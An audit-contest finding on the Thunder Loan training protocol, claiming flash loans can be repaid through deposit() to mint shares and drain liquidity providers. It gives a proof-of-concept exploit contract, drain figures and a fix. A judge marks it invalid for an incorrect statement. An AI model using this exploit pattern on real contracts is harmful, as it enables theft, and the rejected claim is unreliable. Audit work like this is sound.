Thunder Loan
AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Previous Next
Submission Details
Impact: high
Likelihood: high
Invalid

Flash loan can be settled with deposit() instead of repay(), minting the attacker shares and draining liquidity providers

wittytiger689

Root + Impact

Description

flashloan verifies repayment by comparing the AssetToken's closing token balance against its opening balance plus the fee. It never records who returned the money or through which function.

// src/protocol/ThunderLoan.sol - flashloan
uint256 endingBalance = token.balanceOf(address(assetToken));
@> if (endingBalance < startingBalance + fee) { // only a balance check
revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
}

deposit sends tokens to that same AssetToken address and has no flash-loan guard, so it satisfies the balance check exactly like repay — while additionally minting shares to the caller:

// src/protocol/ThunderLoan.sol - deposit
@> assetToken.mint(msg.sender, mintAmount); // attacker receives shares
@> token.safeTransferFrom(msg.sender, address(assetToken), amount); // same destination as repay()

The borrower settles the loan with the protocol's own money and keeps a claim on it. repay is correctly gated on s_currentlyFlashLoaning, but nothing forces its use.

Risk

Likelihood: High

Any address can call flashloan with a receiver contract it controls. The attacker needs only enough capital to cover the fee, and the attack is a single transaction repeatable until the pool is empty. No privileges and no special market conditions are required.

Impact: High

The attacker converts borrowed funds into AssetToken shares backed by the liquidity providers' deposits, then redeems them after the loan closes. This is direct theft of the protocol's underlying.

Proof of Concept

The receiver settles via deposit instead of repay, then redeems the shares minted during the loan.

function executeOperation(address token, uint256 amount, uint256 fee, address, bytes calldata)
external returns (bool)
{
assetToken = thunderLoan.getAssetFromToken(IERC20(token));
​
// Settle via deposit(): same tokens, same destination - but this mints shares to us.
uint256 settle = amount + fee;
IERC20(token).approve(address(thunderLoan), settle);
thunderLoan.deposit(IERC20(token), settle);
return true;
}
​
// After the loan closes, redeem the shares minted during it:
// thunderLoan.redeem(token, assetToken.balanceOf(address(this)));

Against a pool holding 1000e18, with the attacker funding only the 1.5e18 fee:

protocol balance before: 1000000000000000000000 (1000 tokenA)
protocol balance after : 499496744249000999003 (499.5 tokenA)
attacker balance after : 502003255750999000997 (502 tokenA)
DRAINED FROM PROTOCOL : 500503255750999000997 (500.5 tokenA)

The attacker spent 1.5 tokenA and took 500.5 tokenA of the liquidity providers' funds.

Recommended Mitigation

A balance comparison cannot distinguish money returned as repayment from money paid in for shares, because both land on the same address. The check must confirm the debt was settled through the intended path.

s_currentlyFlashLoaning already tracks an outstanding loan and is simply not consulted by deposit:

+ error ThunderLoan__CurrentlyFlashLoaning();
+
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
+ if (s_currentlyFlashLoaning[token]) {
+ revert ThunderLoan__CurrentlyFlashLoaning();
+ }
AssetToken assetToken = s_tokenToAssetToken[token];

Stronger still: have repay credit an explicit per-loan counter and have flashloan require that counter to cover amount + fee, which also closes the related case of plain transfer donations counting as repayment.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!